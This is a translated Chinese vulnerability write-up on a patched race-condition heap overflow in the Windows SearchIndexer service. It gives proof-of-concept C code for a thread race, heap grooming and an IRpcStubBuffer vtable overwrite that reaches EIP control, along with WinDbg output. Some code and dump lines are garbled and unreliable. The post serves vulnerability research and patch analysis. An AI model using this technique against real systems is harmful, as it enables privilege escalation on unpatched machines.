WindowsSearchIndexer简介WindowsSearchIndexer是一项为WindowsSearch处理文件索引的Windows服务,它为Windows内置的文件搜索引擎提供强大的支持,支持来自开始菜单搜索框到Windows资源管理器甚至库功能。搜索索引器有助于通过GUI和索引选项从GUI的角度将用户引导至服务界面,如下所示。索引期间的所有数据库和临时数据都存储和管理为文件。一般情况下,在Windows服务中,整个过程都是以NTAUTHORITYSYSTEM权限执行的。如果修改文件路径而出现逻辑漏洞,则可能引发权限提升。(如Symlink攻击)鉴于大多数近期WindowsService中的漏洞是由逻辑漏洞引起的LPE漏洞,我们假设SearchIndexer可能有有类似的漏洞。然而,我们的分析结果并非如此,我们将介绍更多细节。补丁对比分析环境为Windows7x86,由于更新文件较小,差异容易识别,我们下载了该模块的两个补丁版本。它们可以从Microsoft更新目录下载:补丁版本(一月):KB45343142补丁版本(二月):KB45378133我们从补丁二进制文件的BinDiff(在本例中,只有一个:searchindexer.exe)开始修补是在CSearchCrawlScopeManager和CSearchRoot类中完成的。前者是在一月份打补丁的,而后者是在次月打补丁的。这两个类包含相同的更改,因此我们专注于修补CSearchRoot。下图显示了原始代码的添加,它使用Lock来安全地访问共享资源。我们推断访问共享资源会导致竞争条件漏洞,因为补丁由putter、getter函数组成。接口交互我们参考MSDN学习如何使用这些类,发现它们都与“爬虫管理器”有关,我们可以查看该类的方法信息。MSDN说4:CrawlScopeManager(CSM)是一组API,用于添加、删除和枚举Windows搜索索引器的搜索根和范围规则。当您希望索引器开始爬取新容器时,您可以使用CSM设置搜索根目录并设置在根目录内搜索路径的范围规则。CSM接口如下:IEnumSearchRootsIEnumSearchScopeRulesISearchCrawlScopeManagerISearchCrawlScopeManager2ISearchRootISearchScopeRuleISearchItem例如,添加、删除和枚举搜索根和范围规则可以这样写:ISearchCrawlScopeManager告诉搜索引擎爬取和/或监视哪些容器,以及哪些容器包含或排除容器下的项目。要添加新搜索,您需要实例化一个ISearchRoot对象,设置root属性,然后调用ISearchCrawlScopeManager::AddRoot并将指向ISearchRoot对象的指针传递给它。//AddRootInfo&ScopeRulepISearchRoot->put_RootURL(L"file:///C:\");pSearchCrawlScopeManager->AddRoot(pISearchRoot);pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows",fInclude,FF_INDEXCOMPLEXURLS);//SetRegistrykeypSearchCrawlScopeManager->SaveAll();当我们不再希望索引该URL时,我们还可以使用ISearchCrawlScopeManager从爬网范围中删除根目录。删除根也会删除该URL的所有范围规则。我们可以卸载应用程序,删除所有数据,然后从爬网范围中删除搜索根,爬网范围管理器将删除根和与该根关联的所有范围规则。//RemoveRootInfo&ScopeRuleISearchCrawlScopeManager->RemoveRoot(pszURL);//SetRegistrykeyISearchCrawlScopeManager->SaveAll();CSM使用IEnumSearchRoots枚举搜索根目录。我们可以使用此类枚举来出于各种目的搜索根;例如,我们可能希望在UI中显示整个爬网范围,或者发现特定根目录或根目录的子目录是否已经在爬网范围内。班级。//DisplayRootInfoPWSTRpszUrl=NULL;pSearchRoot->get_RootURL(&pszUrl);wcout<EnumerateScopeRules(&pScope-NSearchRules);ext1ScopeRulespScopeRules>ISearch))pSearchScopeRule->get_PatternOrURL(&pszUrl);wcout<put_RootURL(L"SharedRootURL");PWSTRpszUrl=NULL;HRESULThr=pSearchRoot->get_RootURL(&pszUrl);wcout<Release();CoUninitialize();}漏洞触发非常简单。我们创建两个线程:一个线程向共享缓冲区写入不同长度的数据,另一个线程同时从共享缓冲区读取数据。DWORD__stdcallthread_putter(LPVOIDparam){ISearchManager*pSearchManager=(ISearchManager*)param;while(1){pSearchManager->put_RootURL(L"AA");pSearchManager->put_RootURL(L"AAAAAAAAAA");}return0;}DWORD__stdcallthread_parmLP)({ISearchRoot*pISearchRoot=(ISearchRoot*)param;PWSTRget_pszUrl;while(1){pISearchRoot->get_RootURL(&get_pszUrl);}return0;}崩溃!毫无疑问,竞争条件在StringCchCopyW函数复制RootURL数据之前已经成功,导致heapoverflow.劫持EIP为了控制EIP,我们应该为易受攻击的Sever堆创建一个对象,我们编写了以下客户端代码来跟踪堆状态。intwmain(intargc,wchar_t*argv[]){CoInitializeEx(NULL,COINIT_MULTITHREADED|COINIT_DISABLE_OLE1DDE);ISearchRoot*pISearchRoot[20];for(inti=0;i<20;i++){CoCreateInstance(CLSID_CSearchRoot,NULL,CLGSTX_LOCAL_SERVER(PP&pISearchRoot[i]));}pISearchRoot[3]->Release();pISearchRoot[5]->Release();pISearchRoot[7]->Release();pISearchRoot[9]->Release();pISearchRoot[11]->Release();CreateThread(NULL,0,thread_putter,(LPVOID)pISearchRoot[13],0,NULL);CreateThread(NULL,0,thread_getter,(LPVOID)pISearchRoot[13],0,NULL);睡眠(500);CoUninitialize();return0;}我们发现如果客户端不释放pISearchRoot对象,IRpcStubBuffer对象会一直留在服务器堆上。我们还看到IRpcStubBuffer对象保留在易受攻击堆的位置附近。0:010>!heap-p-all...03D58F1000050005[00]03D58F180001A-(忙)(忙)<-Cotaskmallocreturnmsssprxy!_IDXPI_IID_IID_LOOKUP(MSSSSSSY+0X75)03D58F38000500050005000500050005500555525552552552552552552525525525252DYB飞机)<--IRpcStubBufferObj?mssprxy!_ISearchRootStubVtbl+1003d58f8800050005[00]03d58f900001c-(busy)?mssprxy!_ISearchRootStubVtbl+10<--IRpcStubBufferObj03d58fb000050005[00]03d58fb800020-(busy)03d58fd800050005[00]03d58fe00001c-(busy)?mssprxy!_ISearchRootStubVtbl+10<--IRpcStubBufferObj03d5900000050005[00]03d590080001c-(busy)?mssprxy!_ISearchRootStubVtbl+10<--IRpcStubBufferObj03d5902800050005[00]03d5903000020-(busy)03d5905000050005[00]03d5905800020-(busy)03d5907800050005[00]03d5908000020-(free)03d590a000050005[00]03d590a800020-(免费)03d590c800050005[00]03d590d00001c-(忙)?mssprxy!_ISearchRootStubVtbl+10<--IRpcStubBufferObj在COM中,所有接口都有自己的接口存根空间。Stub是RPC通信时用来支持远程方法调用的一小块内存空间,IRpcStubBuffer是这类接口存储根的主要接口。在此过程中,接口存储根支持pISearchRoot的IRpcStubBuffer保留在服务器的堆上。IRpcStubBuffer的vtfunction如下:0:003>ddspoi(03d58f18)l1071215bc87121707emssprxy!CStdStubBuffer_QueryInterface71215bcc71217073mssprxy!CStdStubBuffer_AddRef71215bd071216840mssprxy!CStdStubBuffer_Release71215bd471217926mssprxy!CStdStubBuffer_Connect71215bd871216866mssprxy!CStdStubBuffer_Disconnect<--clientcall:CoUninitialize();71215bdc7121687cmssprxy!CStdStubBuffer_Invoke71215be07121791bmssprxy!CStdStubBuffer_IsIIDSupported71215be471217910mssprxy!CStdStubBuffer_CountRefs71215be871217905mssprxy!CStdStubBuffer_DebugServerQueryInterface71215bec712178famssprxy!CStdStubBuffer_DebugServerRelease当客户端的COM未初始化,IRpcStubBuffer::Disconnect断开与对象指针的所有连接。因此,如果客户端调用CoUninitialize函数,就会在服务端调用CStdStubBuffer_Disconnect函数。这意味着用户可以构造一个伪造的vtable并调用该函数。然而,我们并不总是看到IRpcStubBuffer分配在同一个位置堆上。因此,需要多次尝试构建堆布局,经过多次尝试,IRpcStubBuffer对象被以下可控值(0x45454545)覆盖。最后,我们可以证明内存中的函数是可以间接调用的!分析结论近期WindowsService中的LPE漏洞多为逻辑漏洞。这样分析WindowsSearchIndexer的内存损坏漏洞就很有意思了。因此,这种内存损坏漏洞很可能从现在开始出现在WindowsService中。我们希望此分析对其他漏洞研究人员有所帮助,并可用于进一步的研究。参考资料https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments?https://www.catalog.update.microsoft.com/Search.aspx?q=KB4534314?https://www.catalog.update.microsoft.com/Search.aspx?q=KB4537813?https://docs.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm?https://github.com/tyranid/oleviewdotnet?https://docs.microsoft.com/en-us/windows/win32/search/-search-sample-crawlscopecommandline?本文翻译自:http://blog.diffense.如转载co.kr/2020/03/26/SearchIndexer.html,请注明原文地址。